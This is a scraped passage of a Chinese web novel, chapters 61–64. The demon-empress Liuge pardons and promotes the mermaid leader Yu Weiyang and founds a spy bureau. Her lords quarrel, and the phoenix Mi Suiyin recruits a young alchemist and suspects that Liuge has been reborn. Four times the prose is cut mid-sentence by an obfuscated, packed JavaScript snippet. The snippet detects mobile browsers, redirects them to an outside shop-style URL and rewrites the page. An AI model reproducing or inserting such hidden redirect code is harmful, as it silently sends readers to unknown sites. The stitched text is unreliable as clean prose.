他们还算是妖族的同族吗? 琉歌忽然抬手,轻轻在眼前挥了挥,像挥开一层迷雾一样,看到了一点更清晰的,肇武先皇的身影。 “问情已经做到极限了,她是值得敬佩的妖皇。”她长长的吐出一口气,忽然觉得有些好笑,能在那样危急的情况下,仍愿意给所有人留一条退路……问情的慈悲她从不曾了解。 她痛恨被当成问情的影子,放言要给妖界和百姓打下新的烙印,问情随和,她偏要端肃,问情以武立族,她偏要大力改革,以文治一统域内。 可若是她从未了解过她,还谈什么远离她呢? “师尊,回头陪我去问情陨落的地方看看吧。”她忽然侧目望向弥随音,传音道。 凤凰驯顺的俯首应是。 “您在帝宫,问罪臣可曾找到了那个答案,罪臣说尚未。”喻未央忽然话锋一转,她终于抬起了眼,一双波澜不生的蔚蓝色眼睛里,是琉歌曾经熟悉的和煦笑意。 “今日在这里,臣却可以说,虽然尚未找到那个答案,臣却看到了您的喜爱。” 琉歌终于有些惊讶了,她也没想到喻未央会在这里说这个。 大殿上给她表衷心的机会她什么都不说,现在能削的都削了,你反倒在狱中开始诉衷肠了? “……你继续?”她招招手示意弥随音给她倒杯茶,摆出了长谈的架势。 “您对臣已经最够优待了,无论是神庭里,提前问出那个问题,给臣以回寰思考的空间,还是在帝宫内,您本可以在第一次大朝会的时候就肃清一切,却硬生生忍了军功派一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“水族不会有事的——这样合我心意的人……这么多年,我也就遇到了你和弥随音。” 银发妖皇笑着起身,指尖一勾,狱卒腰间别着的钥匙顿时飞起,稳稳落入了她的掌心。 她微笑着与喻未央对视着,随即手一抬,将钥匙扔到了她的面前。 “来人,给她也搬一张书案进来,”琉歌吩咐道:“鲛人族需在三日内,将所有海防布防图、巡逻路线、裂隙监控记录、历年防务总结等一切相关卷宗、阵法密钥,悉数移交青丘。自移交完成之日起,海域整体防务,暂由第一神使弥随音接管统筹,具体防务执行,仍由各水族按原有分工负责,但需接受赤琉璃的统一调度与监察。” “鲛人族长喻未央深明大义,深得朕心,入鸾台。” 琉歌笑容揶揄,带着喻未央熟悉的孩子气:“今天刚进来,放你出去不太好,我看嗣音和浮荣都在青丘狱文思泉涌,说不定你也有这个天赋……写点什么吧,能让我拿出去堵悠悠众口。” “您也不想变成青丘狱内流传的美丽传说吧?” 这个处置,既严厉又留有余地。 接管核心防务权,却未立刻剥夺水族的执行权,给了缓冲,也避免了海防因人事动荡而出现真空。 掠芜等人等在狱外,看到神谕的时候全部暗暗松了口气——幸好,这位新皇没有因为喻未央一人而迁怒整个水族,也没有立刻将他们这些刚才还“闹事”的领主一并治罪。 “好好想想吧,想想接下来该干什么。”琉歌最后笑了笑,转身离去。 62. 苍耳子 “尊上,喻未央入鸾台的话,马上入妖界的那些鲛人族人们……?”青丘狱外,惊轶捧着神谕,只觉得棘手的很,摸不清琉歌的心思。 她前脚刚说将喻未央打入大牢,后脚就将钥匙摔进了她的手里,前脚刚对鲛人族降下三千年内不许入朝为官的惩罚,后脚又高调的让她成为了第三位进入鸾台的妖皇近臣。 对了,前两位是颂颂和嗣音。 琉歌环视一圈,发现该来的都来了,干脆一挥手,空间权柄张开,拢住了所有人,下一刻,等在青丘狱外的几位领主重回偏殿静室。 很快,接到妖皇传音的颂颂带着剩下的几位领主也来了。 “鲛人族当然要查。”她向后靠在主座椅背上,双臂抱胸。 “至于喻未央对外怎么说……”银发妖皇思索着,颂颂忽然笑着行了一礼,插话道:“尊上剥夺了鲛人族长的一切官职,荣誉,功绩和身份,不是么?” “喻未央既然没了领主的身份,没了鲛人族长的身份,为何不能连鲛人族的身份也没有了呢?反正被剥夺了一切身份的她也不可能再回鲛人海域了。” 兔族少女一袭青衣,黄灿灿的眼瞳里含着浅浅的一层笑意:“既然如此,尊上从狱中破格提拔到鸾台的,只是一最普通的妖族子民而已——和您之前的政令并不冲突。” “若您需要惜才爱才的名声……鸾台随时准备为您效劳,尊上。” ——白水边,你这样谨小慎微的性格,居然能养出这样的女儿? 一时间众领主惊诧震撼的目光不约而同的投向了白水边,又意味深长的转向了同样是兔族血系的屠五月。 白水边垂首敛眸只当没看见那些目光,屠五月则毫不在意的耸了耸肩。 琉歌毫不意外颂颂的回答,顺口笑道:“宣传,为何不宣传,暴君之名我早也听够了。” 弥随音陡然抬头! “师尊?”琉歌注意到了他的反差,回头询问了一句。 “……琉歌,我先去喻未央那里拿海防图。”他勉强笑了一下,心脏在胸腔里巨震,震得识海都在发着细密的抖,头晕目眩。 琉歌皱了皱眉,凤凰帝师已经转身推门而出,她沉吟片刻,没想明白弥随音突然这么反常的原因,干脆冲惊轶一扬下巴,点了点远去的弥随音的背影。 惊轶立刻意会,悄无声息的起身追了出去。 “……鲛人族当然要查,但并不是只查他们。”琉歌收回目光。 她声音冷了下来:“春在野能在青丘眼皮子底下搞出拜圣教,龙岛用仙器害死常妄,神庭居然整整一天没有任何示警……还有这次,鲛人族意图叛逃人界,你们还把她当军功派首脑,马首是瞻。” 琉歌心累,掐了掐眉心,“束漫时,伊锦,苍穹。” 被点名的三位领主出列。 苍穹一直在忙龙岛的事情,此时还比较茫然,但束漫时和伊锦却心如明镜,大致知晓琉歌的所思所想。 尤其是束漫时。 伊锦的眼珠明显比人族要大一圈,漆黑无光,远远看着与人无异,但凑近了看,就能看到她漆黑眼珠之下,密密麻麻挤在眼眶内的无数复眼。 她一笑,面部肌肉积压眼球,像是千万只复眼一起冲束漫时“笑”了起来。 鼠族族长一袭仿原身皮毛颜色的灰衣,暗扑扑的毫不起眼,短而齐肩的黑发因其低头的动作扫过下颌,她身高普通长相平平,全身上下一眼过去,居然让人挑不出一个抓眼的,可以夸赞的点。 忽然,她俏皮的冲伊锦眨了眨眼睛,竖起食指,飞快的在笑意深深的唇前立了一下。 伊锦注意到了她脸颊上飞快浮起又消散的两个酒窝。 随即,束漫时又恢复了之前恭敬而谨慎的样子,冲妖皇低下头去。 虫母额角青筋暴起——简直是挑衅。她想。 “喻未央之事,给我,也给所有妖族提了个醒。” 妖皇清凌凌的声音在静室中回荡:“仙魔亡我之心不死,渗透、腐蚀、离间——无所不用其极。” “光是处理仙魔造成的泣寒瘴和龙尊死亡两事,就已经让审查司人力和资源捉襟见肘,更遑论还有不知多少,喻未央这样的,对妖界未来毫无信心的同族存在。” “这样的人,为了在接下来即将到来的动荡混战中保全自己……”琉歌望向獬豸聆钧,“只怕会再出不少血海铜雀类似的事件。” “朕欲新设一机构,将这些事发生的风险压到最低,就名为——苍耳子。” 琉歌目光灼灼,缓缓继续说到:“取苍耳沾身难脱之意,此机构直属朕,监察妖界内外异常动向,专门负责肃清内奸,反制仙魔插手妖界内务的渗透之举。” “伊锦,你虫族潜藏无形,善于隐藏,潜伏,搜集情报。束漫时,你带领的鼠族触须遍布妖界九大洲,捕风捉影消息灵通。苍穹,你就是苍耳族的,植物系在这些事上有不小的独特优势——今日起,你们三人共同执掌苍耳子,以束漫时为主。” 伊锦微微颔首,束漫时则立刻躬身:“臣等必竭尽全力!” “苍耳子眼下有两项要紧任务。”琉歌下令,“其一,联合审查司,给我彻查龙岛!龙尊常妄之死,仙器如何入境,龙族内部还有哪些人与仙族有染?所有线索,一挖到底,不要遗漏任何细节。还是那句话,我允许你们动用一切必要手段。” “其二……”她看向殿外,仿佛能看到那些正在通过蛛网,从四面八方涌向青丘的身影。 “随着蛛网的建立和帝宫招贤令的发布,未来会有更多妖族进入青丘,或为官,或务工,或求学……所有想入青丘者,苍耳子都要核查其背景,重点筛查其过往行踪,人际关系,还有这三年内有无异常。不求万无一失,但求将明显隐患挡在青丘之外。” 她声音转冷:“今日起,妖界再出现勾连外敌或叛界潜逃者,无论身份,无论荣誉,一经查实,交由苍耳子全权处置。望诸位……好自为之。” 束漫时心头狂跳,妖皇这是将极大的权柄和极烫手的山芋一起被塞到了她的手里。 琉歌的目光慢悠悠扫过殿内几人,最后落在束漫时身上,那眼神没什么温度,却让鼠族族长心头一紧,呼吸陡然凝滞。 可琉歌却什么也没说,于是众臣心思各异地行礼退出。 苍耳子的设立,犹如最精巧的织者悄然收束最后一根细线,众人举目四望,只能看到一张牢牢网住了所有人的坚韧巨网。 它不仅是悬在潜在叛徒头上的利剑,也是对在场所有领主、臣子的无声警告——在妖皇的眼睛下,再无绝对的秘密和退路。 “束漫时……好算计。”帝宫外,虫母率先冷笑出声,“妖界九洲,擅长情报的就我们三个——虫族因魔气元气大伤尚在修养,苍穹深陷神庭站队之间无力掌控分支……只有你,束漫时,手握尖刀却静默不语。” 伊锦这话说的毫不客气,要说妖界独立性最强的妖族,幽居深海的深海系水族都要在泥下虫族面前靠边站。 现在,独立性最强的种族,被妖皇放到了监视最严密的地方。 苍穹所率领的苍耳族也是同理——植物系向来佛系,他们有一块扎根的肥沃土壤就能生存的特性,使植物系对妖界的参与度极低——九洲领主中,就一位植物系的领主都没有。 而现在,植物系身份最高的苍穹被放到了苍耳子,估计妖皇的意思,不仅是要他给天下植物系做出表率,还要他切实的带着植物系吐出一些家底来反哺青丘。 “在座各位也都不是傻子,束漫时,”伊锦笑着凑近了鼠族族长,一千只复眼同时喷薄出愤恨与怒火,“喻未央的事情,是你爆给妖皇的吧?” “真厉害,为了一步登天,身为军功派的末流领主,一出手就按死了整个心高气傲的鲛人族……束漫时,你好样的。” 鼠族族长唇畔小巧精致的酒窝再次浮现。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310275|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “苍穹没有领地,根基浅薄,虫族何必说我?你们不过是心有余而力不足。只有我,实力,根基,态度,均能让定宸尊上满意——她愿意握住一把安全的刀,我身为妖族愿意效忠妖皇,都是天经地义。” 束漫时丝毫不惧,甚至有胆子像帝宫努了努嘴:“不满?尊上就在里面,去说啊?” “不愧是只能在背后捡功劳的鼠族。”激浪不像虫族那般生气,独行侠却也不愿自己一举一动随时在鼠族的监视下,皱着眉低骂了一句鲨系偏言。 “与其担忧我,不如想想第三洲怎么办吧。”束漫时舌战群儒不落下风,她搞四方情报,听得懂八方偏言,激浪说了什么被她听的一清二楚。 她冷笑着,干脆以其人之道还治其人之身,用鲨系偏言讥讽道:“春在野身死,你个武夫又不通内政,若我情报无误,第三洲现在信仰崇拜仙族之风大盛,什么降魔真人,镇诛大仙……呵,你猜尊上现在对仙族的这个态度,愿不愿意仙族染指本属于自己的信仰之力?” 激浪从鼻孔里喷出一点粗气,气得脸红脖子粗,到底是无话可说,因为他真的不通内务,甚至不知道第三洲,那些春在野生前聚集起来研学派,现在都在做什么。 “至于捡功劳,还有军功末流……”束漫时狭长而上挑的眼角眉间流露出深切而毒辣的讥诮,“古往今来,仗着我鼠族生育力强,多少来找我鼠族合作的妖族,一有仗要打,就将我鼠族子嗣推到前线,赢了是你们指挥得当,输了是鼠族孱弱,难堪大用……” “真是恶心,又需要鼠族的人力,又暗中诋毁打压我们鼠族的功劳,名声。” 鼠族族长脸上没有丝毫笑意,一双和发色一般漆黑的眼睛冷冷的扫过众领主:“我带着鼠族专攻情报和潜伏的时候,多少人在背后笑过——鼠族终于回他们该呆的地方了?” “现在为何又要来指责我呢,诸位?这都是你们交会鼠族的啊——”束漫时冷冷的拖长了声音,“而且,喻未央勾连人界确有其事,我实事求是,有和不可?又有和可指摘之处?” “至于你,伊锦,虫族,尤其是泥下虫族不也是这样吗?若能大大方方站在阳光下,虫族何必封闭为十二虫巢,标榜自己的神秘?” 风卷起碎雪掠过,众领主一时间都沉默了下来。 匆匆赶来调停的惊轶叹了口气,出面劝阻道:“帝宫门前起争执到底不妥,诸位,先散了吧。” 他不说话还好,一说话伊锦就绷不住火气,阴阳怪气道:“确实不妥,毕竟妖皇最信任,最青睐的宰辅大人还在这里呀。” “喻未央若不能飞升成功,也就剩两百多年寿元,就算她入鸾台,不能为身后族群带来益处,一切都白搭,更况且尊上降下神谕,鲛人族禁足深海三千年,不许入朝为官。”伊锦冷笑出声,“但我们有什么好庆幸的呢?五十步笑百步罢了!” “最可恶的就是你,惊轶——” “为了赤狐族的长盛率先投诚,现在呢?定宸尊上的分封方法一但推行,血脉昌盛,子嗣众多的赤狐族必然第一个被化整为零。我倒要看看,层层分封之后,赤狐还当不当的成妖界第一大氏族!” 事到如今,蛛网,抚育司,典藏阁和苍耳子已经构建起了一张遮天蔽日的巨网,将九洲百姓和领主全部网入其中,妖皇留给领主选择的路就两条——追随她,或者化为巨网的养料。 不管他们自愿或否,他们都必须要和妖皇站在一起了。 伊锦不仅没有被气糊涂,正相反,她清醒的很。 反正他们都要和妖皇共进退,反正苍耳子直接效忠的是妖皇,她现在指着惊轶的鼻子骂,这赤狐长老又能如何? 惊轶气得太阳穴突突直跳,冷笑一声:“幼妹惊梦七品炼药师,乃是凤凰帝师之下的炼药第一人。我得妖皇信任,任职宰辅统领三司,不知虫母口中那个分崩离析的赤狐族,是在诅咒在下……还是预见了自己的未来呢?” 63. 玉青璞 炼药师公会门口,发生了一点小骚动,一个穿着旧布衣、背着药篓子的年轻妖族,正跟守卫拉扯。 惊轶和弥随音刚想上前,帝宫门口的争执声就从他们身后传来—— 惊轶权衡了一下,拱手跟弥随音告辞道:“弥神使,这里暂且交给您了。” 弥随音颔首,目送惊轶向帝宫门口,众领主争执处而去,随即收回目光,抬步上前。 “大哥,你就让我进去吧,或者帮我传句话也行!我这丹药真的能对泣寒瘴有用。” 那是个看起来平平无奇的青年,穿着一身洗得发白的粗布衣衫,背着一个半旧的药篓,风尘仆仆。他站在炼药师公会气派的大门前,仰头看着匾额,神情有些局促,但眼神却亮得惊人。 守卫持长枪立在门口:“公会重地,闲人免进。” 话毕,皱着眉上下打量他,见他修为不过金丹中期,衣着寒酸,药篓里也只是些寻常药材,不由得露出几分轻蔑:“小子,你知道这是什么地方吗?这里是联合副会总会馆,不是乡下的草药铺子,白会长日理万机,哪有空见你?去去去,别挡着门。” 青年应该是很少和人交流的隐居派妖族,急得脸都红了,“我,我不进去也行,您能不能把这枚丹药给白会长看一眼?” “啊,我是颂吟老板推荐来的,她说定宸尊上很有能耐,青丘又急缺炼药师……” 守卫一脸不耐烦:“去去去!谁推荐的都没有用,未经审核的丹药就想往白会长眼前递?会长是你想见就能见的么?再不走我不客气了!” “什么丹?我看看。”弥随音的声音在旁边响起。 守卫一扭头,看见是他,吓得脸都白了:“帝、帝师大人!小的不知道您来……” 弥随音没理会守卫,目光落在青年手里小心捧着的布包上。 青年虽然不认识帝师弥随音,但看守卫的态度也知道来了大人物,赶紧打开布包,露出几颗淡青色、闻着有股清冽药香的丹药,磕磕盼盼地又把话重复了一遍——说自己是从青丘前面的熔金山脉来的,这丹方是自己琢磨了好多年。 弥随音拿起一颗,仔细闻了闻,又用一丝极细微的精神力探了探,过了一会儿,他眼里流露出一点惊讶。 “百日细叶的花蕊做主药,能清毒,凝心,安神……血参须补气血,咦,还有墨蛇蜕?药性温和,能在药力之下保护经脉……有点意思。” 他用指尖点了点丹药,饶有兴味的细问:“你如何处理墨蛇蜕的?不仅去除了它的燥性,还引出了一种柔和通达的药性用来调和整个方子,让药力能更温和均匀地渗透进去,尤其注意保护经脉——不错,这法子是你自己想的?” 玉青璞惊呆了,没想到对方只一闻一探,就几乎将丹方说破了大半,心中又是震惊又是敬佩,他连忙点头:“是、是我自己瞎试的……” 他这才想起来自我介绍,青年连忙拱手,声音因为紧张而有些干涩:“在下……在下玉青璞,青草的青,璞玉的璞。听闻妖皇尊上广纳贤才,尤其是炼药一道……在下研习丹术多年,或许……或许对当前局势有用,又得颂吟老板的推荐,就想来看看有没有我能做的……” “不错。”弥随音点了下头,看着这个眼神干净,带着山野气的青年,神色温和。 “这丹药思路很好,特别看重保护服药人的根基,而且品阶不高,对付像泣寒瘴这种需要大面积用药,还得顾着老弱的情况,很有价值。公会现在正需要集思广益,研究能更好的推广开的方子,你愿不愿意跟我进去,详细说说你这丹药?” 玉青璞整个人都懵了,巨大的惊喜砸得他晕乎乎的。他跋山涉水过来,最大的奢望不过是能把丹方递进去,哪里敢想能被帝师这样的大人物亲自邀请进门? 弥随音不再多说,对那汗流浃背的守卫道:“人我带走了,以后再有这样带着本事和真心来投的,别拦着,及时上报。” “是是是!谨遵帝师吩咐!”守卫头点得像啄米。 弥随音转身走进公会大门。玉青璞如梦初醒,慌忙背好药篓,小心翼翼地跟在那道清瘦挺拔的背影后面,跨过了那道他曾经以为高不可攀的门槛。 门内,药香扑鼻,鼎炉低鸣,一个崭新的,可能抓住未来的世界,就这样在他眼前打开了。 “……将墨蛇蜕在月华下曝露三夜,去其燥性,留其柔润通达之效,本是用来治疗熔金山脉内患者一种因雪地寒冷导致的‘寒淤症’,患者也是灵气迟滞、经脉隐痛,幼崽尤其易感。我看了青丘发布的关于泣寒瘴的症状描述,觉得二者或有相通之处,这才冒昧前来。”青年恭声道。 弥随音神色认真起来。 泣寒瘴的根源是魔气,与寒淤症成因不同,但外在症状确有相似。 而且,这青年能以区区金丹修为,独立研究出这样思路精巧、兼顾清解与温养的三品丹方,可见其在药性理解和药草配制上有独到天赋。 更难得的是,他关注到了对幼崽的温和性——这正是目前应对泣寒瘴最需要解决的难点之一。 四品五品的高阶丹药效果虽好,但成本高昂且炼制繁琐,现在的妖界根本无力普及,而且高阶丹药的药性太纯粹,太重,幼崽完基本碰不得。 让经脉稚嫩,连妖丹都尚未长好的幼崽吞服元婴期炼药师炼制的四品丹药……只怕泣寒瘴还未爆发,幼崽先被丹药撑碎了经脉。 经过反复测算,幼崽能承受的药力上限就是三品——青璞的丹方简直是给想瞌睡帝宫送来了枕头,不要太称心如意。 他顿了顿,追问道:“你如何想到利用月华处理墨蛇蜕?典籍中并无此类记载。” 玉青璞见这位气度不凡的“帝师”如此精准地道破自己丹方的关窍,心中激动,紧张也消减了不少:“回大人,是观察所得。熔金山脉高峻且偏北,常年寒凉,却意外的多蛇,在下常见蛇类蜕皮后,会寻一处月光能照到的湿润草丛将旧皮掩埋。” “我偶然发现,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310276|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩埋过蛇蜕的草丛中,草木长得格外茂盛,且根茎饱满,汁液更多,似乎不惧风雪了一般——我便猜想,月华和蛇蜕或许对草木抵御风雪有特殊影响。尝试后发现,在月华下曝露处理后的墨蛇蜕燥性大减,反而多了一种滋润通达的柔和药力,正合我用。” “观察入微,善于联想,并能付诸实践验证。”弥随音看着眼前这个衣着寒酸、修为不过金丹的青年,给出了极高的评价。 “你修为不高,但于药道一途却颇有天赋和灵性。这丹药虽只是三品,但思路清奇,药材配比成熟严谨,尤其注重保护受药者经脉和五脏六腑,在基础丹药中堪称上品。对于泣寒瘴的初期防控和轻症治疗,有不可估量的价值。” 他看向一旁闻讯赶来白水边:“他的丹方,思路与我和琉歌之前推演的清神丹有互补之处。清神丹偏重强力拔除魔气,对成年期妖族效果显著,但对幼崽而言药力太过霸道。若能将这丹方中温和渗透、固本护脉的思路融入,或能研制出更适合幼崽、且能大规模炼制的低阶抗魔丹!” 白水边眼睛一亮:“帝师的意思是?” 弥随音对玉青璞道:“玉青璞,妖皇尊上正在全力应对仙魔威胁,泣寒瘴只是其中一环。我们需要更多的人才,研发出能保护妖族、尤其是下一代妖族的基础丹药和手段。你的才能不应埋没于山野。我以第一神使的身份,以帝宫的名义邀请你加入联合副会,任职炼药师公会主事,你可愿意?” 玉青璞愣住了,他跋涉千山万水来到青丘,最大的期望不过是能将自己的丹方递上去,若能得些赏赐便心满意足。 何曾想过,他居然有能直接进入联合副会的机缘?还是由这位神秘莫测的帝师亲自邀请? 他心跳如鼓,想起这一路走来,在蛛网节点听到的关于新妖皇的种种传闻——废除领主私军、设立抚育司收拢灵化幼崽、建立典藏阁打破世家知识垄断……那些他曾经觉得遥不可及、甚至有些离经叛道的举措,此刻却与他这个来自最底层散修炼药师产生了奇妙的连接。 帝宫里的那位尊上,似乎真的在尝试打造一个不一样的妖界。 “我……我愿意!” 玉青璞深吸一口气,压下激动,郑重地躬身行礼,“谢帝师赏识!青璞必竭尽所能,为妖界尽一份力!” “好。”弥随音颔首,“白会长,麻烦你带他去办理进入炼药师公会的手续,安排住处。稍后,我会将清神丹的详细丹方和泣寒瘴的详细病案资料交到你手上。玉青璞,你的第一个任务,就是协助我在三个月内,研发出一种新的,品阶不超过四品,适合大规模炼制,还要对幼崽安全有效的基础抗魔丹药。” “为了在妖界大面积推广,丹药所需药材,必须尽量选用妖界常见易得,或可大量种植的品种,你可能做到?” 压力巨大,但机会更是千载难逢。 玉青璞只觉一股热血冲上头顶,他挺直脊梁,大声道:“青璞定当全力以赴,不负帝师所托!” 64. 牛头不对马嘴 将玉青璞拜托给白水边后,弥随音顺便去看了一眼琉歌划给他的独立办公区域。 白水边虽为联合副会首任会长,但无论是对泣寒瘴的研究还是清神丹的炼制,都离不开弥随音这位九品炼药师的鼎力相助。 因此虽然弥随音一直跟着琉歌长居玉牡丹帝宫,炼药师公会还是极为重视的给他划了一方单独的院落作为临时居所,兼炼丹房和储药阁。 可能是听说了他喜清净,院内陈设简单,萦绕着浓郁纯净的灵气和淡淡的药香,白水边本是想按照弥随音的口述,尽可能仿着他在仙界的凤凰神殿炼药房建造,结果这个提议被琉歌驳回了。 现在这方小院,里里外外都是琉歌尊上拿的注意。 弥随音正在一方白玉案前,对着面前一尊精巧的药鼎沉思,指尖有细小的凤凰火焰跳跃而起,似乎正在推敲演算着旁人看不懂的丹方。 不过,只有他自己知晓,他现在满脑子都是遇到玉青璞前,惊轶与他同行时说的一番话—— “帝师?”惊轶落后他几步,在后面唤道:“帝师,妖皇说,请您拿了海防图后,顺便去炼药师公会那里,看看愈灵丹和清神丹的炼制情况。” “……我知道了。” 琉歌刚刚脱口而出的一句“暴君之名早也听够了”,让弥随音心里一时间乱的厉害。 这一世琉歌根本没有杀龙尊,仙族传讯给他,问的也是当时立于台前的轩辕郁柏……她既没有连杀三位问情神使,斩春在野也杀的合理合法——这一世根本没有暴君之名传出来! 她从哪里“听够了”暴君之名? 是自己这里吗? 凤凰脚步停顿,狠狠掐住了眉心,迫使自己的精神力扎进广袤的识海,自虐一样忍着剧痛,强行将他重生回来,遇到琉歌之后的记忆拉出来反复咀嚼,揉开了掰碎了,找自己的问题,找自己是不是说过了暴君之类的话。 结果,那些曾经被他刻意忽略的,模糊的,突兀的疑惑,全在这时翻涌了出来—— 为何圣坛上还是神女的琉歌,那样理所当然的就回应了他的呼唤?为何面对第四洲水患,春在野,泣寒瘴还有拜圣教等事时,她的惊讶和愤怒都极为淡漠,好像早有预料,一点也不奇怪? 为何她明明被神庭暗弃,没有接受过一天系统的教育,却能在初登妖皇之位的这些天,近乎完美的驾驭妖界这架已经濒临失控,向着悬崖一路狂奔的马车? 之前弥随音和惊轶等人以为是神族天生情感淡漠,加之她聪慧,且神子神女能做到共享视野,很多事情她可能就默不作声的学会了,或者喻未央给她讲解奏章,让她对妖界的里外状况有所猜测,所以不甚惊讶…… 但现在看来,还有一种可能—— 若……琉歌也有前世记忆呢? 不……不可能。 弥随音猛地一咬牙,从浑浑噩噩的状态里挣出,下意识否定。 他们上辈子,失约,毁约,陌路,敌对,劝降——一切可以毁坏一段关系的事情,他们几乎干了个遍。 琉歌最后拼着最后一口气都要杀了他,若她当带着前世记忆跟他一样重生了……弥随音换位思考,他若是琉歌,要做的第一件事肯定就是杀了他。 神兽,还效忠仙尊。 他了解琉歌,她从不是仁慈的君主,不能为己所用的人,与其放他走,她更愿意把人杀了,骨灰扬进妖界的土地里做肥料。 可她为何……? “帝师——弥神使!” 惊轶的声音打断了他的思绪,弥随音吐出一口气,想起了自己还有任务在身。 “弥神使脸色不太好,发生了什么吗?尊上说您长居仙界,可能不适应妖界偏低的灵气浓度和纯净度,特意嘱咐我要注意您的身体情况。” 政庭宰辅客气的拱手行礼,一双狐狸眼却没有垂下去,悄默打量着弥随音的脸色,揣测着他和尊上之间发生了什么事。 尊上能让他追出来,说明尊上大概率也不清楚这人在想什么…… 惊轶脑内思绪百转,大概清楚了自己要怎么做,怎么回话才能讨尊上欢心。 “不……妖界很好,我没什么事情……惊轶,你撒过谎吗?”弥随音尚未理顺纷乱的思绪,忽然没头没尾的问道。 惊轶打量着他的神色,有些不解,还是恭敬的回话道:“当然,帝师,狐族信奉口舌之利,撒谎是家常便饭了。” 弥随音长长吐出一口气,掐了掐眉心,“你撒谎是为了什么?” “我和惊梦当年想要离家出走,加入问情先皇麾下的时候,就是联手撒谎,配合设局骗过了母亲和父亲,这才溜出了赤狐族领地,从此闯出了一番事业。” 狡黠的狐族只开了个头,确定弥随音已经将注意力放到他身上后,忽然话头一转,不说自己,反倒顺着他的话往下套:“父亲母亲的担忧就是臣带着幼妹撒谎的苦衷——又或许,欺骗了您的人也是有苦衷的?” “……我不知道,她也会有苦衷吗?”弥随音垂着眼,轻而易举的上了套。 “她对您撒谎……或者说,有所隐瞒了?” 惊轶声音放的极轻,轻而易举的猜到了弥随音嘴里的她是谁,此时下意识皱眉,第一反应是觉得妖皇尊上实在对他娇纵太过,私下抱怨妖皇都不知道要避着人了。 他和琉歌这出明君贤臣的大戏尚未结束,此时极其不愿掺和妖皇和第一神使的事情——他完整经历过问情亦清时代,知道弥随音无论闹成什么样,最后也就是妖皇一句话的事情。 爱容易助长一些嚣张的气焰。 当年仗着妖皇的喜爱和宠信,亦清很是真情实意的和问情大吵过几架,要仪式要婚契要地位还要妖皇的陪伴。 惊喻春三人劝过两次之后便也不再理会这些事了——都是小情侣之间的情趣罢了! 三人狠狠吃了几波狗粮,终于反应了过来,神使敢在神主面前闹的原因只有一个——神主惯的。 果不其然,亦清没过几年,就从第一神使成为了第一任妖后。 他们那时就得出结论,若贸贸然掺和在神使神主的事情里面,反而里外不讨好。 若是问情时代,惊轶现在肯定转身就走……到底是今时不同往日啊。 他萧索的在风中感叹道。 妖皇命令在身,他既然不敢走,便仔细探究起弥随音落寞的神态,结合他第一神使的位置,有些疑惑:“尊上驳回了所有意见,封曾经为仙尊效力的您为第一神使,具体是哪方面她对您撒谎了?” 弥随音一时哽住。 他再怎么糊涂,也知道重生不是能随意拿出来说的话题,更何况这还牵扯琉歌。 于是第一神使只好面目端肃的移开视线,“……我只是觉得,她和以前不一样了。” 哦豁。 惊轶眯了眯眼。 “难道——”赤狐族长觉着自己摸到了真相,在心底推测道:“难道,尊上是许诺了弥随音妖后之位,现在却只是第一神使,他觉得尊上撒谎,他被欺骗了?” 看弥随音神情怏怏,一副郁郁难以释怀的样子,他实在想不出除了情伤,还有什么能让来去随心的凤凰神兽露出这样的落寞神色。 “从前……?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310277|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊轶到底还记得自己得回去跟琉歌汇报情况,此时从弥随音嘴里挖出更多信息:“您是觉得……尊上她现在已经从神女变为妖皇,已经不需要您的保护了吗?” “……”弥随音没回答,有些诧异的看向惊轶,因为他确实不知道现在能为琉歌做什么。 惊轶这波属于是题干都没有,却惊人的摸到了结果? 前世,她需要他的力量一起查案,今生,她是尚未获得力量的神女,弥随音很清楚自己能给她提供什么,也清楚琉歌需要他的力量和付出。 这世间只有变化和无序是永恒的——这是弥随音十万年闭关得出来的结论。 既然如此,何必好好活?无论做什么,死亡和变化都如跗骨之蛆般,从来不曾远离。 死亡平等的徘徊在每一个的头顶,无论你是凡人,修者,仙人,甚至号称可以跨越生死,逆转阴阳的凤凰神兽,面对死亡和混乱也是无能为力的。 弥随音曾以为,凤和凰之间的天定姻缘是永恒的,弥随心却完全略过他,爱上了一平庸的底层修士。 他又想,姻缘可以断开,血脉总是抛不下的,凤和凰一体两面,世人说起凤凰,到底还是要一起提起他们。 然后弥随心用死亡,用阴阳两隔,用抽出凤凰神骨,放弃血脉和涅槃之力也要陪那人共赴幽冥的决绝姿态,狠狠给了弥随音一耳光。 ——没什么是抛不开的。 就算有,死死攥着,攥一辈子,死亡也会从你手里将它夺走。 